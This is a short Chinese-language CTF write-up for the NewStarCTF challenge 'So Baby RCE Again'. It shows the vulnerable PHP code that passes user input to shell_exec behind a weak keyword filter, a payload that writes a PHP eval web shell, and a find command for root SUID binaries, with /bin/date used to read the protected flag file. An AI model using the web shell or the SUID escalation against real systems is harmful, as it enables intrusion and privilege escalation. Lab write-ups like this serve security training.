[NewStarCTF 公开赛赛道]So Baby RCE Again

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/bash|curl/i',$_GET["cmd"])){
echo "Hacker!";
}else{
shell_exec($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}

无回显rce,我们可以通过写马来查看flag

1
?cmd=echo '11111<?php @eval($_POST[1])?>' > webshell.php

写入后我们连接蚁剑,但我们好像无法读取flag

image-20250202230237702

用终端读取,提示我们权限不够

image-20250202230331757

我们查看文件权限

image-20250202230514981

我们发现有x权限且属主为root

找到正在系统上运行的所有SUID可执行文件,发现/bin/date有s权限

在这里插入图片描述

1
2
3
# 查找所有具有SUID权限且属主为root的文件

find / -user root -perm -4000 -print 2>/dev/null

利用date命令读取文件,date -f 文件名

得到flag

image-20250202230736833